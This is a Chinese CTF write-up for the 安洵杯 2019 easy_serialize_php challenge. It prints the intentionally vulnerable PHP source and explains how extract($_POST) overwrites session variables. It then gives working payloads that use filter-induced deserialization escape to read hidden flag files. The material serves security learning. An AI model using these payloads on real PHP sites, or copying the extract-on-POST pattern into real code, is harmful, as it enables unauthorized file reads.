[安洵杯 2019]easy_serialize_php


 

學到的知識:extract對session數組的覆蓋

反序列化逃逸的方法

1.代碼審計

 

<?php

$function = @$_GET['f'];

function filter($img){
  $filter_arr = array('php','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));
}

 

首先很容易在phpinfo中找到一個php文件懷疑為flag

這個題目里根本沒有讀取session文件,這個題只是把$_SESSION數組進行了serialize(),這種地方不要因為看到php處理器而犯迷糊。

過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字

我們發現unset函數將$_SESSION銷毀了。

然后重新賦予$_SESSION了新的值。

最后調用了extract($_POST);

extract() 函數從數組中將變量導入到當前的符號表。

根據extract()我們可以進行變量覆蓋,

當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。

只剩下SESSION[flag]=123。

f參數要傳為show_image,其次可控點就是img_path下的img,但是不能直接傳,因為會進行一系列加密

2. php反序列化字符逃逸

在php中,反序列化的過程中必須嚴格按照序列化規則才能成功實現反序列化

如果我們在str結尾的花括號后再增加一些字符呢?

eg1:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

 

仍然可以輸出上面的結果,這說明反序列化的過程是有一定識別范圍的,在這個范圍之外的字符(第二個例子里的abc)都會被忽略,不影響反序列化的正常進行。

eg2:

<?php
$_SESSION["user"]='flagflagflagflagflagflag'$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
    
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

假設后台存在一個過濾機制,會將含flag字符替換為空,那么以上序列化字符串過濾結果為

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

將這串字符串進行序列化會得到什么? 這個時候關注第二個s所對應的數字,本來由於有6個flag字符所以為24,現在這6個flag都被過濾了,那么它將會嘗試向后讀取24個字符看看是否滿足序列化的規則,也即讀取;s:8:"function";s:59:"a,讀取這24個字符后以”;結尾,恰好滿足規則,而后第三個s向后讀取img的20個字符,第四個、第五個s向后讀取均滿足規則,所以序列化結果為:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

 

數組形式:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

 

可以發現,SESSION數組的鍵值img對應的值發生了改變。 設想,如果我們能夠控制原來SESSION數組的funcion的值但無法控制img的值,我們就可以通過這種方式間接控制到img對應的值。這個感覺就像sql注入一樣,他本來想讀取的base64編碼是:L2QwZzNfZmxsbGxsbGFn,但是由於過濾掉了flag,向后讀取的過程中把鍵值function放到了第一個鍵值的內容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64編碼,讀取了d0g3_f1ag.php的內容。而識別完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影響正常的反序列化過程。

3.逃逸實現

get傳參:?f=show_image

post調用extract函數實現變量覆蓋,這里有三種post方式,均可以實現逃逸,可對比學習規律

例如 post傳參:

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
<?php
    #方法一
    $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    #結果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},這里就造成img不成為一個鍵,也就無法進行加密
    #過濾掉flag有
    #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    #使得繞過;s:51:""到達下一個封號,這時img成功逃逸出來
#方法二
    $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
   
    #方法三
    $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
​
?>

 

回顯得到

<?php
​
$flag = 'flag in /d0g3_fllllllag';
​
?>

 

繼續替換掉base64值讀取即可 L2QwZzNfZmxsbGxsbGFn

 

參考博客:

https://www.jianshu.com/p/1f44650b0822

https://www.jianshu.com/p/8e8117f9fd0e

http://www.mamicode.com/info-detail-2984973.html

https://www.cnblogs.com/h3zh1/p/12732336.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM